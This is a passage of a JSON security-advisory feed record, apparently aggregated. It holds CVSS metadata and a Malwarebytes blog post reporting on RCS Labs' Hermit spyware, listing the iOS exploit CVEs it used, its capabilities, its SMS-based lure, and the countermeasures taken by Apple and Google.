"AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-7644", "CVE-2017-13861", "CVE-2017-13865", "CVE-2017-2370", "CVE-2018-4150", "CVE-2018-4241", "CVE-2018-4243", "CVE-2018-4344", "CVE-2019-6225", "CVE-2019-7287", "CVE-2019-8605", "CVE-2019-8794", "CVE-2019-8795", "CVE-2020-12388", "CVE-2020-3837"], "modified": "2020-06-11T00:00:00", "id": "GOOGLEPROJECTZERO:37170621F78D33B9DDE68A73E0A16294", "href": "https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "malwarebytes": [{"lastseen": "2022-06-29T10:05:45", "description": "Google's Threat Analysis Group (TAG) has [revealed a sophisticated spyware activity](<https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/>) involving ISPs (internet service providers) aiding in downloading powerful commercial spyware onto users' mobile devices. The spyware, dubbed Hermit, is [reported](<https://techcrunch.com/2022/06/17/hermit-spyware-government/>) to have government clients much like Pegasus.\n\nItalian vendor RCS Labs developed Hermit. The spyware was spotted in Kazakhstan (to suppress protests against government policies), Italy (to investigate those involved in an anti-corruption case), and Syria (to monitor its northeastern Kurdish region), all deployed by their respective governments. \n\nHermit affects Android and iOS devices and is described as a modular spyware. This means it can download pieces of itself (modules) for additional functionalities, making it customizable to suit client needs, from a [C2 (command and control)](<https://blog.malwarebytes.com/glossary/cc/>) server.\n\nUnlike NSO's Pegasus, Hermit is not as stealthy. But at its core, it functions like any government-grade spyware. It can read SMS and chat messages, view passwords, intercept calls, record calls and ambient audio, redirect calls, and pinpoint precise locations of victims. \n\nHermit also roots all infected Android devices, giving itself deeper access to phone features and user data. On iOS, Hermit is packed with six exploits, two of which were targeting [zero-day](<https://blog.malwarebytes.com/glossary/zero-day/>) vulnerabilities. According to Google's report, these are the following exploits:\n\n * [CVE-2018-4344](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-4344>) internally referred to and publicly known as LightSpeed.\n * [CVE-2019-8605](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8605>) internally referred to as SockPort2 and publicly known as SockPuppet\n * [CVE-2020-3837](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-3837>) internally referred to and publicly known as TimeWaste.\n * [CVE-2020-9907](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9907>) internally referred to as AveCesare.\n * [CVE-2021-30883](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30883>) internally referred to as Clicked2, [marked](<https://support.apple.com/en-us/HT212846>) as being exploited in-the-wild by Apple in October 2021.\n * [CVE-2021-30983](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30983>) internally referred to as Clicked3, [fixed](<https://support.apple.com/en-us/HT212976>) by Apple in December 2021.\n\nA Hermit spyware campaign starts off as a seemingly authentic messaging app users are deceived into downloading. A government actor also poses as a mobile carrier over SMS\u2014sometimes with the help of the target's ISP\u2014to socially engineer targets into downloading the spyware masquerading as a tool to "fix" their internet connection.\n\nBoth Apple and Google have already notified their users regarding this spyware, and then some. Apple revoked the legitimate certificates Hermit abused to reside on iPhone devices, while Google beefed up its Google Play Protect security app to block Hermit from running. Google also pulled the plug on Hermit's Firebase account, which it uses to communicate with its C2.\n\n[When questioned by TechCrunch](<https://techcrunch.com/2022/06/23/hermit-zero-day-android-spyware/>), RCS Labs provided a statement, which we have replicated in part below:\n\n> RCS Lab exports its products in compliance with both national and European rules and regulations. Any sales or implementation of products is performed only after receiving an official authorization from the competent authorities. Our products are delivered and installed within the premises of approved customers. RCS Lab personnel are not exposed, nor participate in any activities conducted by the relevant customers.\n\nProviders of government-grade spyware like Pegasus and Hermit always claim to have legitimate reasons for creating malware. But as we've seen and heard from countless reports, they are mainly used to spy on [journalists, activists, and human rights defenders](<https://blog.malwarebytes.com/privacy-2/2021/07/pegasus-spyware-has-been-here-for-years-we-must-stop-ignoring-it/>).\n\nThe post [Hermit spyware is deployed with the help of a victim's ISP](<https://blog.malwarebytes.com/reports/2022/06/hermit-spyware-is-deployed-with-the-help-of-a-victims-isp/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-29T10:03:54", "type": "malwarebytes", "title": "Hermit spyware is deployed with the help of a victim\u2019s ISP", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4344", "CVE-2019-8605", "CVE-2020-3837", "CVE-2020-9907", "CVE-2021-30883", "CVE-2021-30983"], "modified": "2022-06-29T10:03:54", "id": "MALWAREBYTES:762422C08BCD930748F1EED62A25716D", "href": "https://blog.malwarebytes.com/reports/2022/06/hermit-spyware-is-deployed-with-the-help-of-a-victims-isp/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}]}
About the security content of tvOS 12.4.1
